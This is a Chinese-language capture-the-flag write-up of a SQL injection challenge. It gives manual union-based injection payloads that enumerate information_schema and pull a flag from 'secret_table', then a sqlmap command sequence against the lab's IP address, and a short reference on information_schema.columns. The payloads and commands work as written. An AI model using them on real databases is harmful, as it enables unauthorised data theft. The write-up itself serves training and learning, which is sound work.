打开题目地址:
只有一个搜索框,下面是几条消息,上面输入关键词可以搜索这几条消息,可能就是存在SQL注入漏洞:
在后面加入’ or '1 = 1恒成立的判定条件:
a ' or '1 = 1
搜索结果变成了所有的消息,应该就是存在SQL注入
手工注入
之后我们在后面拼接order by,来查看表中有多少列,查询结果按照前1列排序(第一个’闭合后台命令的第一个’,#注释掉后台的第二个’):
' order by 1 #
成功返回了结果,证明表中有至少1列数据
查询结果按照前2列排序:
' order by 2 #
依旧成功返回了结果,证明表中至少有2列数据
查询结果按照前3列排序:
' order by 3 #
依旧成功返回了结果,证明表中至少有3列数据
查询结果按照前4列排序:
' order by 4 #
没有返回结果了,说明该表中只有3列数据,当你按照前4列排序时就出现异常从而查询不到结果。
接下来我们用union操作符来合并两个或多个select语句的结果集,union操作符选取不同的值,如果允许重复的值,请使用union all。
所以我们在上面的链接后面拼接union all select 1,2,3 #。select 1,2,3是指返回一个1,2,3的数组(所以这里的1,2,3只是为了区分不同的列的数字,也可以改成156,456,111,741这种没有意义的数字),select 1,2,3就是把email表中的3列数据全部返回,然后用全部用1,2,3代替。
' union all select 1,2,3 #
这样前7个结果就是第一个select 中符合’’返回所有消息的查询结果,后面的结果2和3都是第二个查询all select 1,2,3查询到的值,上面只显示了2和3,说明只有第2列和第三列的值在前端显示了,1在查询时替换了但是这个页面中并没有显示。
那我们接下来就要利用第二列和第三列读取数据,可以使用SQL中自带的函数user()、database()之类的:
' union all select 1,user(),database() #
' union all select * from news #
news数据库中的数据就是这些消息。
之后读取information_schema元数据,
先读取information_schema中的数据库名:
' and 0 union select 1,2,table_schema from information_schema.tables#
只有两个数据库:information_schema和news
之后读取information_schema数据库中的表名:
' and 0 union select 1,2,table_name from information_schema.tables #
也可以同时查看数据库及其表名:
' and 0 union select 1,table_schema,table_name from information_schema.tables #
其中news数据库两个表news、secret_table比较特别
之后显示表news、secret_table中的列名和数据类型:
news表:
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='news'#
有三个字段:id、title、content
secret_table表:
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'#
有三个字段:id、fl4g
其中fl4g字段就比较特别,查看它的值:
' and 0 union select 1,id,fl4g from secret_table #
得到flag:QCTF{sq1_inJec7ion_ezzz}
information_schema.columns 学习
每一个表中的每一列都会在information_schema.columns表中对应一行
1、informaiton_schema.columns 常用列:
1、table_catalog :不管是table | view 这个列的值总是def
2、table_schema :表 | 视图所在的数据库名
3、table_name :表名 | 视图名
4、column_name :列名
5、column_default :列的默认值
6、is_nullable :是否可以取空值
7、data_type :列的数据类型
8、character_maximum_length :列的最大长度(这列只有在数据类型为char | varchar 时才有意义)
9、column_type :列类型这个类型比data_type列所指定的更加详细,如data_type 是int 而column_type 就有可以能是int(11)
10、column_key :列上的索引类型 主键–>PRI | 唯一索引 -->UNI 一般索引 -->MUL
2、例子
查看tempdb 库中的列信息
select
table_schema,table_name,column_name,column_type,column_default,is_nullable,column_key
from
information_schema.columns
where table_schema='tempdb';
+--------------+------------+-------------+-------------+----------------+-------------+------------+
| table_schema | table_name | column_name | column_type | column_default | is_nullable | column_key |
+--------------+------------+-------------+-------------+----------------+-------------+------------+
| tempdb | t | x | int(11) | NULL | NO | PRI |
| tempdb | t | y | varchar(32) | hello world... | NO | MUL |
| tempdb | t2 | id | int(11) | NULL | NO | PRI |
| tempdb | t2 | age | int(11) | 0 | NO | PRI |
| tempdb | t2 | name | varchar(10) | NULL | YES | |
| tempdb | v_t | x | int(11) | 0 | NO | |
| tempdb | v_t | y | varchar(32) | hello world... | NO | |
+--------------+------------+-------------+-------------+----------------+-------------+------------+
每一个表中的每一列都会在information_schema.columns表中对应一行
sqlmap工具注入:
先测试search参数是否存在注入点:
sqlmap -u http://111.200.241.244:59139/ --data "search=df"
经过探测search参数存在注入点,服务器操作系统是Linux Debian 9 (stretch),Web服务器是Apache 2.4.25,数据库是MySQL >= 5.0.12
之后爆破数据库:
sqlmap -u http://111.200.241.244:59139/ --data "search=df" -dbs
有两个数据库:information_schema和news
之后爆破news数据库中的表:
sqlmap -u http://111.200.241.244:59139/ --data "search=df" -D news --tables
news数据库中有两个表:news和secret_table
获取secret_table表的字段信息:
sqlmap -u http://111.200.241.244:59139/ --data "search=df" -D news -T secret_table --columns
secret_table表的有两个字段:fl4g和id
最后查看fl4g字段的值:
sqlmap -u http://111.200.241.244:59139/ --data "search=df" -D news -T secret_table -C "fl4g"
得到flag:QCTF{sq1_inJec7ion_ezzz}